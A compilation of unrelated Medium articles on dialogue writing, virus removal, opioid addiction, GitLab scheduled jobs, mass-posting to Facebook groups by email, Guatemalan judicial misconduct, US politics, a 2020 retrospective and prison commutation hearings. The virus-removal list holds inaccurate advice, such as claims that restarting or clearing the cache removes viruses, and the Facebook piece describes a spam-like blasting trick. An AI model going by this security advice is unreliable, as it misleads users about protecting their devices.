One of the key elements of a good story is the dialogue between characters. Any story that has people interacting will show their conversations, and that is an important aspect in conveying an engaging, believable story. People can reveal a lot about themselves and their world through their dialogue. With good dialogue you can establish everything from character traits to plot elements to setting. You can tell the reader the what, why, how and where using just dialogue, and you can also use it to point out key details in the plot that you want readers to know. It is a versatile tool you have at your disposal that can convey a lot about your story when used well. Writing good dialogue can be tricky. You want the conversation to flow naturally and sound authentic. You don’t want “talking heads” where it’s just two disembodied voices talking back and forth with nothing else happening (or do you? I’ve read some compelling stories that were nothing but two talking heads. I think this is the exception and not the rule, though). You want your people to sound like actual people with real personalities and quirks. So how can you do this? I’ve been told that writing dialogue is one of my strengths. These are some of the techniques I use to handle it. REAL LIFE INFLUENCE Always listen to how people talk and converse. You will be surprised at how much you learn about how people talk just by listening to how people talk. Follow the ebb and flow of their conversation. Every dialogue has a rhythm and a poetry to it, regardless of who is talking or how they talk. Pay attention to that. You might also hear some cool antec dotes you can use in future stories. Some of the coolest dialogue from supporting characters in my book The Hand You’re Dealt came directly from people I was standing near while waiting to sell my blood plasma (Yes, that aspect of the story is quite autobiographical.) BODY LANGUAGE Body language and facial expression is also an important part of writing believable dialogue. People are twitchy, and nobody is just sitting perfectly still while talking. Take time to mention what their bodies and faces are doing while they are talking. You can convey a lot about what a character is thinking or feeling as they talk this way. Oftentimes, I will describe a character’s small action before they say something instead of using “he said.” Because it does a dual job of indicating who is talking while also giving some of that movement to the character. This also applies to giving a brief description of what is going through the POV character’s mind as they speak. GRAMMAR People don’t use proper grammar when they talk, not even English teachers. People talk in fragments, have unfinished thoughts, stumble over words, use incorrect phraseology, use filler words like um and uh, cut each other off and try to finish each other’s sentences. When writing dialogue, you want to utilize those quirks to make the conversation, and the characters, more believable. Save the soliloquies for Shakespeare. SLANG Pay attention to slang and local colloquialisms. If you’re writing a character from New York, that person is going to sound and talk quite differently than a person from Atlanta. Slang words and different pronunciations can be a great teller of where they are from and what their culture is, and in that instance you can be forgiven for intentional misspellings. I got into quite a few arguments with my Beta readers and editors over a New Yorker I put in The Hand You’re Dealt. They thought I misspelled one of his colloquialisms, and I had to repeatedly explain that he comes from a culture where People call each other “sun” (as in shining like the sun) instead of “son.” I got so tired of the fight I just switched to a different slang word. Incorporating other languages can also be a key element in establishing a character. If a character comes from a unique culture, including a word or two from their native language will drive that point home. Just don’t overdo it: sprinkling in too many foreign words will make it blatant to the reader that you’re trying to make the character seem more ethnic. THE WORD ‘SAID’ When writing dialogue, you tread a fine line when using the word “said.” You don’t want to overuse it, but at the same time, it can become quite obvious to readers when you are trying too hard to not use it. If you find yourself trying to come up with a new verb for talking every time you have somebody speak, then you are doing it too much, and you need to use “said” to give the reader a break. “Said” is usually an invisible word: the reader will read that and know what it means intrinsically without it interrupting the flow of the story. The key is to not use it ALL of the time lest you appear unimaginative. You also want to keep a lid on the flowery adjectives (which usually come right after you use the word “said”). Whatever you’re using that adjective to describe in what that character said should be self evident in whatever that character said and the actions and details around it. If you do that well, then the adjective becomes redundant. TESTING IT OUT Once you’ve written your dialogue, the next thing is to test it out. Don’t be afraid to read your dialogue out loud to see if everything sounds smooth and believable. Sometimes words and phrases that look good on paper (or your screen) won’t sound right when actually spoken, and that can be problematic if you want you dialogue to sound authentic. These are some of the techniques I use when writing conversations. Give them a try and hopefully it will make your dialogue more memorable. D’ya know who else excels at writing dialogue? Chuck Palahniuk! Check out this book from the creator of Fight Club and see for yourself.

https://medium.com/@jdwilliams-86067/writing-believable-dialogue-108eb9161f72

['J.D. Williams']

2019-10-05 22:25:24.292000+00:00

['Character', 'Fiction', 'Conversation']

20 Ways To Remove Viruses From Your Computer — Search Encrypt Blog

We rely heavily on our computers, tablets, and smartphones every day for work, communication, and entertainment. One thing that threatens every one of these devices is viruses, malware, and data-leaking bugs. Viruses are constantly evolving to avoid detection and to improve their effectiveness in collecting data, stealing money or accessing private files. Viruses often disguise themselves as legitimate-looking emails, structured links or embedded videos. As viruses have become harder to identify, the market for anti-virus and security software has expanded greatly. The majority of viruses are harmless, and mostly just impact computer performance and connection speed, but there are some threats that involve your private information including banking or health information. With this in mind, here are twenty ways to remove a virus from your computer or prevent viruses from infecting your computer in the first place. #1: Install An Anti-Virus Computer Software One of the easiest ways to remove harmless viruses from your computer is to install an anti-virus computer software. These tools can detect even the smallest of viruses and remove them from doing further harm. Also, they can serve several other virus protective purposes such as setting ups virus traps and other similar methods. That being said, be aware that this tool is most effective for common viruses. Any bigger viruses might a more serious virus removal method. These tools rely on knowledge of current threats, so the most recently developed viruses can sometimes slip through the cracks. Read More: 13 Best Anti-Spyware Tools for 2019 #2: Factory Reset Your Computer One of the most overlooked methods at removing a computer virus is to factory reset your computer. In a nutshell, factory resetting your computer will completely erase everything to recreate the internal interface it had when it was brand new. It’s important to back up any important data before resetting your computer, so those contents aren’t lost. This method can be time-consuming as you’ll have to reinstall any programs that you installed on the computer yourself. #3: Update Your Computer’s Internal Virus Firewall Most computers come equipped with internal virus firewalls. The firewall is intended to prevent you from installing harmful software from illegitimate sources. In some cases, this is the first layer of protection that a virus breaks through. This stems from the fact that it is usually the weakest protection that you might have. Updating your computer’s internal virus firewall regularly can help avoid this problem. Read More: What is Firewall Security? #4: Run Computer Virus Scans Regularly Anti-virus software can scan your computer to detect any new viruses that may have been installed on your device.. A scan serves the purpose of looking for different types of viruses that might have crept through the preventative systems. A scan can find different viruses including software malware, spam viruses, and email viruses as well. While they might not be as detailed in their search for bigger viruses, they are very effective in other areas. #5: Regularly Update Your Computer’s Operating System Another overlooked method at catching and removing computer viruses is regularly updating your computer’s operating system. A computer’s operating system is what manages the hardware, software, and other internal services that your computer provides. Because it manages the software, viruses may exploit this avenue to attack. This is where the importance of regularly updating your operating system comes into play. Doing this keeps your system’s security up to date and minimizes any vulnerabilities it may have. #6: Secure Your Network With Multiple Security Layers Above everything else, securing your network with multiple layers protects the files on your computer from being remotely accessed. This is an important step to take as the majority of files on most computers are backed up by an internal cloud service or other similar installed software. Protecting it with multiple layers quite obviously prevents your computer in case a virus somehow finds its way through one layer of protection. #7: Two-Step Verify Your Personal Information As mentioned before, most if not all computers will require you to provide some personal information. This is to make the computer’s interface more interactive and helpful to you. However, the mistake many people make is not protecting this information with two step-verification. Two-step verification works similarly to double layer protections as it provides a second layer of protection against any virus. More importantly, it also helps against social engineering harm if a person tries to log in to your computer. #8: Use A VPN When Connecting To Open Networks Having mentioned some of the many benefits of mobile computers, it does have one downside that many people ignore. Traveling with a computer means you’ll inevitably be connecting to a public Wi-Fi network. Protecting your connection by using a VPN can help keep your internet connection secure. This is where VPNs are most effective. Also known as a virtual private network, this tool helps protect your computer from viruses and hackers when connected to a public connection. Read More: Best VPNs for 2019 #9: Store Your Computer Files Externally If you know your computer is infected with a virus, a preventative measure against damage is to store your files externally. This means taking any personal information or files out using a physical flash drive, virtual flash drive, or cloud storing service. As far as how this tip prevents viruses, it allows you to safely and securely factory reset your computer to clean it entirely. #10: Use A Computer Rescue Disk A computer rescue disk has proven to be one of the most well-rounded approaches to protecting your computer against a virus. Specifically, a computer rescue disk allows the user to use a physical storage CD to scan your computer without having to start up anything. This allows for a more thorough examination of any viruses by scanning any hidden files, drivers, and other places where a virus might be hidden. #11: Trust Your Judgement An old-fashioned method of protecting against a virus us trusting your judgment. Let’s face it, you know your computer better than anybody else. That said, if you feel like your computer’s performance is not like it used to be, consider the possibility that it might be infected. In some cases, this personal judgment has prevented viruses from growing to the point where it can’t be stopped. #12: Install An Add Blocker On Your Computer Another common way that viruses like to infect a computer is through ads. Whether they are through blog spam ads, email ads, or even false video ads, it’s an easy pathway for viruses because of how common ads are online. Because of this, installing an ad blocker app on your computer is one of the best things you can do. #13: Browse In Incognito Mode On Occasion When you are at home, there is no need to browse in incognito mode. Incognito mode is usually reserved for quick browsing without having left an online trace. However, whether you are at home or in public, it’s beneficial to browse in incognito mode on occasion. This mainly serves as a way to minimize the risk of catching a virus with everyday browsing. #14: Clear Your Spam Emails Worth repeating, one of the most effective ways viruses find a way through to your computer is through emails. This is an effective strategy for viruses as they as virus emails are sometimes hard to distinguish from regular spam emails. The good thing is that most people have a spam filter to send unrecognized emails straight to a separate location. The bad thing is that if that spam location is not cleared, that means that virus email might still be in your computer. #15: Clear Your Computer Cache Your computer cache is the space in the hard drive of your computer. It’s what takes up RAM and other forms of saved space. It is mainly used by your computer as immediate memory to make your browsing faster and more user-friendly. However, some viruses are made specifically for taking up space within your computer. Simply put, there is a reason why there is a clear cache setting on all computers. #16: Update Your Computer Applications Yet another avenue where a virus can find its way through is through your computer’s applications. This mostly stems from the fact that many people forget to update their apps. Some computers have an auto-update setting to prevent this but, if it is not set, it’s an easy waiting spot for the virus. #17: Restart Your Computer With harmless viruses, one of the simplest ways to get rid of them is by restarting your computer. It is there to give your computer a break so it can come back and perform more efficiently. The bonus in a restart is that it gets rid of small viruses. #18: Consider Hiring A Professional Virus Remover When it comes to more serious viruses, one of the last steps that should be taken to remove a virus is hiring a professional. The main benefit that a professional has over simple anti-virus software is that they can go into the internal software of the computer itself. This provides a more detailed analysis of viruses. If you’ve tried everything else in this list with no luck, hiring someone may be a last resort. #19: Use A USB Portable Cleaning Tool Portable USB cleaning tools can be inserted into your computer and will scan your device for any threats. While these portable cleaning tools can be convenient, there are some security vulnerabilities associated with plugging anything into your USB ports. #20: Use A Free Online Virus Remover There are online virus detection and removal services which can work just as well as installed software. These tools are often subscription-based, so you have to pay a monthly fee to use them. These services can help prevent malware and viruses from infecting your computer.

https://medium.com/searchencrypt/20-ways-to-remove-viruses-from-your-computer-search-encrypt-blog-a39eb9dc759d

['Privacy Guy']

2019-09-18 18:15:05.245000+00:00

['Security', 'Antivirus', 'Malware', 'Virus', 'Privacy']

The Opioid Epidemic is Not What You Think

Almost 21 million Americans have some sort of addiction, yet only 10% will get the proper treatment. We have all seen the numbers and heard the statistics. The opioid crisis as the media refer to it has been ongoing for many years. The buzz that seems to get people going is that there is a drug pipeline to America or that Americans have gotten weaker etc. I could go on and I am sure you could to with some nonsense theory that is not even close to the truth about why so many of our neighbors, friends, and family members are suffering with addiction. I will spare you the trouble of having to read further for the answer. It is trauma. Trauma is referred to as a deeply disturbing or distressing experience. When was the last time you had a deeply disturbing or distressing experience?I can think of several instances that come to mind. We all could and maybe a few very luck people are reading this thinking “Trauma? Nope I am great.” Lucky for you very few. Trauma could be anything. We think of it as something intensely awful as rape, murder, or kidnapping and while those situations are traumatic they are not the only traumatic incidents that can happen. Trauma can be that horrible divorce you went through, the loss of your mother when you were twenty, the non-stop bullying in the 6th grade. Anything that distressed you on some level. Mental health is a relatively new concept in this country. The United States has long discussed mental health, but it was not always helpful and often harmful. The last lobotomy was performed in 1967 which truly was not that long ago. So if mental health is not really being addressed it stands to reason that people would need a way to cope. Opioids provide a coping mechanism. This does not mean it is healthy and I do not advocate the use of them, but the reality is a lot of people turn to opioids to cope with their unresolved trauma. The addiction to opioids often starts after someone has been prescribed them for some sort of procedure whether for a short or long amount of time. What happens next is realization. A realization that opioids provide a sense of relaxation. With that relaxation comes a sense of euphoria and overall feeling of well being. Imagine just going through an ugly divorce, becoming a single parent, and suddenly you are both stressed and overwhelmed 100% of the time. You take these pills and suddenly you are no longer worried with a tension headache all day. You can sleep again and you sleep all night long. There is a sense of wholeness again. All from a pill. So instead of having to go to therapy and do the really difficult work that is personal growth you pop a pill. This story is not unusual and also really not shocking. I often see news anchors or “experts” acting shocked and pondering how this crisis happened. It is no shock that people want an escape from their pain. No one starts off their life with an opioid use disorder (OUD). By circumstance of life the OUD finds them. It finds them in the bright of daylight just as easy as the darkness of night. The disorder generally starts in a doctor’s office or from well meaning friend or family member giving their prescription to someone else who is in pain. The numbing sets in and then for the first time the pain and intensity of those experiences are dulled. I work with folks who have OUD and the stories are all so similar. They all have families, jobs, and hopes for themselves. The drug takes over and does not care about any of it. The dreams turn into where the next pills is coming from and how to get it. Families and relationships suffer but more than anything the person with the disorder suffers. They stay in the purgatory that is numbing pain without processing it. The experiences are stuck inside them relegated to the back of their brain waiting for more opioids to come and calm them for the moment. There is no reason to seek out other coping skills like meditation, exercise, or social support because everything has been numbed in the brain. If we had the ability to destigmatize trauma I believe we could end the opioid epidemic. There never should have been a war on drugs. There should be a war on trauma. We should be working towards preventing sexual assault, violence occurring during incarceration, and so much more. We as a society should be working towards unity, family stability whatever that may look like, and most of all normalize talking about these experiences. When we do not talk about them we end up numbing them and the cycle continues…

https://medium.com/@ninafortem/the-opioid-epidemic-is-not-what-you-think-6cfba1ae4df6

['Nina Fortem']

2020-12-13 20:57:07.078000+00:00

['Therapy', 'Trauma', 'Psychology', 'Opioids', 'Opinion']

How to get GitLab to do periodic jobs for you in under a minute

What would technology be without a computer doing periodic work? Whether it’s your phone constantly checking your inbox for you, or getting timely alerts for weather or flight delays. What about a bitcoin vs Canadian dollar price service, in just 56 seconds? No IFTTT, no Zapier, but no programming languages either — and no frameworks, no server or docker configuration, no Raspberry Pi, no AWS and no tests! To make the example as universal as possible, we will only use 2 command lines: one to GET the bitcoin price from an API and another to POST it to another service. Of course you can make this more useful by posting the price to Twitter, Twilio, Telegram, Slack and so on. But here we will simply post it to putsreq.com so we can inspect the POST request. Then we will use GitLab-CI to schedule it to run everyday. Level : All levels Requirements : Any web browser Let’s get you started : Create a free account at gitlab.com (20 seconds) 2. Create a new Project : Click on the New Project button to create a new repo, and in the name field type periodic-job or any other name. (9 seconds) Then save it by clicking on Create Project (1 second). 3. Create a .gitlab-ci.yml file in this new project: Click on New File, copy and paste the following snippet into the .gitlab-ci.yml file, then click save (5 seconds) These are basically two simple commands. Here we can go further and add if [ $btc -ge 15000 -a $btc -lt 7000 ]; then conditions, or even run a full bash script file, but let’s keep it simple. Click on the Commit changes button, and this will trigger it to build and run. 4. Schedule it to run everyday: click on the CI/CD icon to expand the menu, and select Schedules to set up a name and a timer for your periodic job to trigger. (11 seconds) click on New schedule button Type in a name for the new schedule daily-bitcoin-price-job, select to run it daily then click Save Your scheduled job has been saved 5. Congrats! You’re done. Go to to this link in putsreq.com to see it in action. (10 seconds) This job will run everyday as long as your free 2000/month build minutes do not run out. We haven’t even scratched the surface of what we can do with GitLab-CI — just think of all the possibilities of using it to create webhooks or connecting it to IFTTT and Zapier, which in turn would connect it to hundreds of services. In the next article we will go through what we have just done, and how we can take it up a notch and create a webhook and use it to post to social media. You can find the sample code here, and you can read the build logs here.

https://medium.com/free-code-camp/56-seconds-to-get-gitlab-to-do-periodic-jobs-for-you-6a731b977559

['Moe Ibrahim']

2018-03-17 15:24:43.359000+00:00

['Tech', 'Programming', 'Technology', 'Bitcoin', 'Gitlab']

[FB Hack] Post in Multiple Facebook Groups in one click

This hack is aimed at reducing the time to publish your content to multiple groups, by doing it all at once. Post in Multiple Facebook Groups at once “I’ve seen that asking the right questions on relevant groups, have a far significant reach & engagement than some of the paid marketing techniques.” Correct me if i’m wrong The entire existence of our marketing strategy is nullified if we are unable to place it before our prospective customer. This is also probably one of the reasons we do the whole exercise of coming up with a Buyer’s Persona, finding out where our customers hang out and what keeps them awake at night? Out of all the three, Watering Holes are one of the most important, yet frequently overlooked elements of any marketing or content marketing program. Watering holes? These are places online and off-line where our customers, prospects and influencers go to satisfy a number of needs. It might be where they reside, hangout, go for advice, information, ask questions, seek conversation, engage in dialogue, and look for anything from reassurance, help, support or guidance. This particular hack is targeted to get into one such watering hole like no other - Facebook Groups. Your Future Customer is on one of the Facebook Groups. I say this because, there are groups for literally everything on Facebook. If your Persona is a Budding Male Entrepreneur from Delhi, maybe he’s not on the “Delhi Startups” group but on “Silicon Valley Startups”, just to gain insights into what successful startups did right! Or maybe he’s a health buff and hence is on the “ForeverFit” group. (Who isn’t on that group, right?) The point is, you have you be thorough with your persona, atleast well enough to be aware of where is it that they spend most of their time. Now, you can individually go to each group and share your story/post/pitch which can be pretty time consuming. This hack is aimed at reducing the time to publish your content in all such groups. Here’s how to do it. Step 1: After identifying the groups your target audience is a part of, join them. [Note: More the group members, higher the chance of your persona seeing the ad. So go ahead and join to as many groups as possible. Also, closed groups might require a you to fill up a form put up by the group admin. Answer these with common sense and you’ll be in, in no time.] Step 2 : Open all these groups, in separate individual tabs, and copy the part of the URL which comes right after the word “Groups’ Example: https://www.facebook.com/groups/26918624171008/about/ Step 3 : Paste all of these on a sheet and add “@groups.facebook.com” after each. Step 4 : Go to the primary email attached to your Facebook account and place these ids in the Recipients section. Step 5: Type your message in the subject section and hit send. Here’s the proof. [Word of Advice] There’s a very thin line between a HACK and a SPAM. Lets just keep the line there. 😉

https://medium.com/heptagon/fb-hack-post-to-all-groups-at-once-8bc2166d5dc2

['Akash Sunny']

2018-09-02 17:38:06.526000+00:00

['Marketing Strategies', 'Marketing', 'Facebook Hack', 'Facebook Groups', 'Facebook Marketing']

How a Guatemalan businessman brought a judge to justice

How a Guatemalan businessman brought a judge to justice Image: iStock.com / Solarseven Javier Muñoz*, a small businessman from the town of Amatitlán in Guatemala, fought long and hard to bring a gang of extortionists to justice only to see his efforts frustrated by the misconduct of a judge. His struggle is a small but significant contribution to making rogue judges in Guatemala face the consequences of their actions. On 8 March 2017, a note was delivered to the internet café run by Mr Muñoz. It ordered him to begin paying protection money of 8,000 quetzales (US$1,057) a month, starting from the end of the month. “If I didn’t, they would kill my wife, my family, me obviously and my workers,” said Mr. Muñoz, “the person who brought the note showed they knew my daily routine and where I lived.” This kind of extortion is frighteningly common in many Guatemalan towns and cities — during 2017, the number of official complaints about extortion was 44 for every 100,000 inhabitants, according to the Diálogos research group. Entrapment fails Mr. Muñoz reported the attempt at extortion to the public prosecutor in the neighbouring city of Villa Nueva and the police began investigating. They encouraged him to set a trap by leaving the payment in a rubbish bin near his premises for the extortionists to collect. But on the agreed day the policeman did not turn up and the operation was aborted. A few hours later, another note arrived announcing the protection money had now gone up to 10,000 quetzales (US$1,327) and was due in two days’ time. “If not, they said they would blow up the premises with a grenade and if anyone inside got blown up too that was not their problem,” said Mr. Muñoz. A new police agent was assigned to the investigation and on 2 April 2017, the extortionist was caught red-handed trying to collect payment. As well as being a gang member, he turned out to be a client of the internet café. An initial hearing was held and the suspect placed in custody awaiting trial. Threats and upheaval The following months took a heavy toll on Mr. Muñoz and his family. Their plans to open a second business were put on hold and relatives urged them to leave the country. “But it is hard to start all over again, especially when you are someone who loves your country and are here fighting to make things better,” said Mr. Muñoz. The threats kept coming and, fearing for their safety, he and his wife spent the next months hardly leaving the house. During this time his income dropped by around 60 per cent. Mr. Muñoz began taking medication to help himself sleep and his wife became chronically depressed and started seeing a psychiatrist. In October 2017, she left for Colombia where she now lives. “So here I am living alone. It has turned my life upside down,” said Mr. Muñoz. Two weeks later on 14 November the trial began. Mr. Muñoz attended the first session wearing dark glasses and a hat and using a false name to protect his identity. Much to his dismay, the judge Edwin Raymundo Cabrera obliged him to remove the disguise and reveal his real name and other personal information to members of the gang present in the court room. He then questioned the veracity of evidence and finally dismissed the case and set the alleged extortionist free. Mr. Muñoz turned to Transparency International’s Guatemalan chapter Acción Ciudadana for help. Record of misconduct With support from Acción Ciudadana’s Advocacy and Legal Advice Centre, Mr. Muñoz filed a complaint about the judge to Guatemala’s judicial supervisory board, who eventually agreed to look into his behaviour. The board found the judge had committed serious misconduct by putting the safety of someone under special protection at risk and ruled he should be suspended for 30 days without pay. At the same time, with the help of journalists, Acción Ciudadana discovered that 16 or more official complaints had already been made about the same judge including violating the anonymity of witnesses, abuse of authority and irregular procedures. With this evidence in hand, Acción Ciudadana and Mr. Muñoz are now attempting to have the judge declared unfit and have him sacked from his job. Many Guatemalans have little faith in the integrity of their justice system. Currently, 44 per cent believe that most or all judges and magistrates are corrupt, higher than the regional average of 42 per cent. This is according to the latest Global Corruption Barometer — Latin America and the Caribbean, which asked more than 17,000 citizens in 18 countries across the region about their perceptions and day-to-day experiences of corruption. “We often receive complaints about the justice system. The conditions for people to be able to report crimes such as extortion do not exist and, if people do declare these crimes, the measures to protect them are often disregarded,” said Edie Cux, president of Acción Ciudadana. *Name has been changed Transparency International’s Advocacy and Legal Advice Centres (ALACs) provide free and confidential legal advice to witnesses and victims of corruption. With more than 100 offices in over 60 countries, ALACs provide an accessible, effective way for people to report corruption and demand action. Learn more: www.transparency.org/reportcorruption Support the work of Transparency International and the anti-corruption movement by donating today. Get in touch to find out more. This article was written as part of the Global Corruption Barometer 2019 — Latin America and the Caribbean.

https://voices.transparency.org/guatemalan-businessman-brings-judge-to-justice-23b2cce6b083

['Acción Ciudadana']

2020-02-04 11:58:17.010000+00:00

['Guatemala', 'Judicial Corruption', 'Corruption']

The Capitalists are Coming for Trump and They’re at the Gate

The Capitalists are Coming for Trump and They’re at the Gate Why the melodrama will fade and everyone will get back to business as usual The problem with the internet is the importance it lends to voices. Inconsequential, disruptive and destabilizing voices that have increasingly found favor in our modern society. Voices that, in past generations, had been muted by the crowd. No longer. Anarchists now have a new playground. After impeachment, when the dust settles in America, whatever the result of this convoluted and opaque process may be, the American psyche will emerge for the most part unscathed. Slightly weathered, a little bruised, but otherwise, none the worse for wear. For most, the harsh reality of eking out an existence tends to dilute the importance of the political machinations that unfold on Capitol Hill. Life’s real issues. Paying bills, feeding children and deciding on which model of assault rifle to purchase for ridding your lawn of gophers. These things matter. In the grand scheme of things, they matter most. You’re dealing with a group of very resilient people. The Americans are as diverse and divided as they are disenfranchised, but they can draw solace from the fact they’re not alone. Far from it. Their plight is shared globally, by citizens of every country. You may ask how? The hallmark of a successful government and a happy society is a simple one. It is based on the government's ability to suppress the public’s awareness of being disenfranchised, In effect, how successfully it is able to brainwash its citizens into buying into the lie of the happy state, the democratic state. As with other political systems, America’s ‘elected’ have until recently done a stellar job. Past Presidents have adhered to artfully crafted narratives to enforce the appearance of democracy. Democracy is the dream, politicians the salesmen and capitalism provides the script. The electorate swallows it hooks, line and sinker. When the alternative is your bleak reality, the lie is that much easier to believe, the dream a necessity. Donald Trump has rocked that boat, arguably completely capsizing it and shattering the illusion. People are waking from their ‘democratic’ slumber to the dawning awareness of their real lives. A realization they no longer live in a democracy and haven’t for a long, long time. That perhaps there never was democracy. That their voices count for naught. That, as with all democracies, they are merely the fuel for the engine that is capitalism. They’re not alone. There is no country in the world that does not embrace this principle of enrichment of the few at the expense of the many. Capitalism runs our world, dressed in its varying guises of socialism, communism or democracy. To argue otherwise is to accept the lie. The ideologies, including the religious constructs, that form the basis of our societies, are manipulated by a select few to control masses. Dress it any way you choose, but call it by its name. Side Show Bob may have temporarily hijacked the American narrative and exposed the democratic lie for what it is, but his masters will not allow the narrative to be destroyed. It serves not only their purposes, but holds together the very societal fabric of America. Remove the narrative, destroy the dream that is democracy and people will wake from their slumber. The fairy tale will end and anarchy will follow in its footsteps. Much like the child waking from the edge of sleep to demand the parent continue reading, America wants its story book back. Despite the calls from the digital void to embrace anarchy, people yearn for a return to the dream, to that lie, sold so eloquently by individuals like Kennedy and Obama. Trump’s masters will act, dispassionately and decisively, to protect this narrative, and as always, as with all great magicians, their delicate judicious manipulations to restore balance will pass unseen. The consequences of their actions, however, will be felt across America. Democracy will be restored and people will feel their ‘faith’ in the system to be vindicated. The fact that democracy no longer means what it did before the arrival of Trump, before the Twin Towers, matters little. It is the idea of freedom and choice that is so beguiling. Little of either remain, but the dream persists. For now.

https://medium.com/lighterside/the-capitalists-are-coming-for-trump-and-theyre-at-the-gate-5bf96911306

['Robert Turner']

2020-01-22 14:51:51.041000+00:00

['America', 'Democrats', 'Republican Party', 'Politics', 'Donald Trump']

Do You Realize What You Just Did?

Every week I meet with Anna on my team to talk about the blog for the week. This past week we were laughing that the first blog I wrote in 2020 (and this is dead serious) was called It’s 2020 — Bring on the Problems. It was a blog all about how I planned to handle the problems that came my way this year, the final line being a paradox where I said — “Here’s to more and more problems coming our way in 2020.” — And that came true more than we could have possibly imagined. As Anna and I were talking on the phone about the final blog of the year, I started to tear up. I was fairly overwhelmed thinking about what all that just happened over the past 12 months. But I wasn’t tearing up about all of the pain and sadness. I was tearing up about all we can be proud of. As I was talking about 2020, I couldn’t believe all of the things that we actually made it through this year. So, before we go into 2021, I’d love to invite you to stop and realize what we all just did, being thankful for what we’ve learned, and using those learnings to help others as we move into 2021. Here’s what you did in 2020. You Completely Changed Your Job What you thought you were going to do going into 2020 did not happen. Instead, you had to change your job. Whether a big or small change, every single one of us had to write a new “Coronavirus Job Description” for ourselves. Most of you had to change all or some of your product and features, leading you to change what your job was going to look like. Even if your core product didn’t change, something about your job was different than what you expected this year. So, let’s celebrate the fact that we adapted and changed our jobs mid-way through the year and made it through. You Created New Rhythms Overnight You went from working in an office or alongside a team that worked in the office at least on some regular basis to a world where your home became your workplace. Because of that, your daily life completely changed. You changed what your morning routine looked like. You created a makeshift home office. You downloaded new tools to connect with your team and get your work done. You learned how to work alongside a spouse or roommate. You homeschooled your kids. You house trained a new puppy. All in the same physical place that you eat, sleep, and rest. Let’s celebrate that we all found a way to make working from home happen, even though it wasn’t at all easy. You Didn’t Travel I love traveling, and I’m sure the same is true of most of you. There is even a study published by Harvard Business Review which found that CEOs find most of their inspiration (and rest) while being on the road away from the office. But that didn’t happen this year. But the good news is that many of you still found the time to connect, reset, and recover, even though it didn’t look like what you did before. You were able to talk to more potential partners and clients by removing travel time from your calendar. You had lingering evenings around the table, played games with family and friends, made your homes into an inviting space, and maybe found out that slowing down isn’t so bad. You Handled Your Cash Flows You made sure that you had enough cash, which was really, really hard to do, especially in Q2 and into the beginning part of Q3 2020. But you did it. You found ways to ensure that you a) tracked all of your revenue and expenses well and b) generated enough to keep the lights on. This is no small feat, and you can be proud of the fact that you stayed afloat. You Pitched Differently How you talked to investors changed dramatically. You had to share what you’re doing with them amidst this crisis. You had to prove that you adjusted your company enough to remain relevant and also pitch virtually. You learned the right questions to ask, and continued to build relationships with investors in a very tough climate. And, many of you were able to raise significant capital in this season, with the stats showing that $129B was raised globally in 1H 2020 — only slightly down from previous years. It’s impressive and should be celebrated. You (and I…) Learned About Equity You rose to the occasion, fighting for racial justice. This year, systemic injustices were unveiled in the United States, and all over the world, and we saw you make an impact in your spheres of influence by adopting new hiring practices, building inclusive programming, supporting Black-owned businesses, and investing in BIPOC founders. In solidarity, we continue to learn and strive towards a more equitable world. You Slowed Down You found new ways to regain your energy outside of work. Without a commute, you had time for an evening walk after work. Without travel, the time you used to spend on planes became a time where you were at home and able to rest with your families. For all of those times before when you wished things were “slower”, you finally got your wish. Things were quiet. And, you took advantage of it. You cooked more, did house projects, played puzzles with your kids, and learned new skills. This quiet connectedness is worth celebrating. You Learned the Preciousness of Human Life My wife’s grandma died of COVID. Almost all of us know someone who was sick or even passed away this year. We came face to face with our own mortality, and continue to mourn the incalculable loss of human life at the hands of the pandemic and other tragedies this year. You Became More Resilient Every generation has its moment. With the generation before me, it was 9/11, for me it was the Great Recession of 2009, and for today’s generation, it’s the pandemic. Yet, looking back, each of these crises leads us to realize that, no matter what happens, we’re ultimately going to make it through. And, as talked about repeatedly in the book Antifragile by Nassim Nicholas, the more that things are torn apart and broken down, the more that we will come back stronger as humans and businesses. The year’s crises were an opportunity for us to become more resilient. Through the hardship of this year, you stayed engaged. You didn’t check out or let victim-ness and anger rule the day. You kept moving, doing what you needed to, and becoming more resilient one day at a time. You Survived And you made it through. YOU MADE IT THROUGH. You adapted to what felt impossible and chaotic just a few months ago, and are better for it. 2020 is behind us, there is a glimmer of hope on the horizon. And we made it. It’s impressive and should be celebrated. Now, as we go into 2021, let’s all realize that we can do this. We’ve got this. But, I can tell you this, my first blog of 2021 is definitely going to be: It’s 2021 — Please Bring On Fewer Problems

https://medium.com/@patrickriley/do-you-realize-what-you-just-did-5fbe46c04028

['Patrick Riley']

2020-12-23 16:31:29.511000+00:00

['Resilience', '2020']

Voices From the Inside: “This Was Not Mercy”

Thomas Schilk By Thomas Schilk Tom Schilk was born and raised in Philadelphia, Pennsylvania. He has four lovely sisters. He’s currently in his 37th year of a Mandatory Life Sentence. He was friends with Bruce Norris, who tragically died while awaiting commutation. In September of 2019, six of us traveled from SCI-Phoenix and joined eighteen others, from prisons across the state, at SCI-Camp Hill after being granted public hearings for our respective commutation requests. While there was a lot of anxiety, there was a lot of hope too. After dark decades of virtually no mercy being granted to men and women doing life in Pa., it looked like a new dawn had finally arrived. The recently seated Lt. Gov., John Fetterman, had promised that worthy lifers would have a real chance for mercy via the commutation process. In fact, some men we knew had actually received mercy since his election. The bus ride to Camp Hill was hellacious. None of us had gotten much sleep the night before when we were roused at 4 a.m., totally dehydrated because there would be no chance to use the bathroom for hours once we were in transit. Then, the usual chains, manacles and the infernal “black box” that secures the cuffs and positions your hands in a punishing position. My wrists were bruised for days after the trip. A few hours into the trip, the fucking bus broke down! And it was worse still for my friend Bruce, whose legs were cramping up. Bruce was about 67 then, and just a good man. I’ve known him for over 30 years and consider him a good friend. We were on the same tier for many years back at Graterford, went to Villanova together and had lots of great conversations, often about Philly sports. Bruce had a clerical job for many years, was a referee and helped tutor other men in the Villanova program as well. Oh, in Latin no less! If I ever needed anything, I knew I could just run down to Bruce’s hut — if he had it, I could get it. Very easygoing, Bruce had a warm smile for everybody. He took responsibility for his crime and was very contrite about the harm he caused. I was hoping that Bruce would be allowed to go home to his family after more than four decades. He deserved it. After sweating it out for who knows how long, we were moved from the broke down bus to one that was still running and then back on the road again. Bruce had managed to somehow reach his leg and massage out the cramp, at least a bit. Body hurting, hungry and totally dried out, I was exhausted myself and felt bad for the other guys, especially those older than me. Still, we all joked about how much we’d be willing to go through if it meant mercy. There were more twists and turns but finally, after starting the journey at 4 a.m., we were placed in cells at Camp Hill at 8:30 p.m.! No time to rest though — our interviews in front of the pardons board would take place the very next day. I didn’t sleep a wink. The next afternoon, Wednesday, we were chained again and placed in a side room to wait for the interviews. We sat chained for hours. 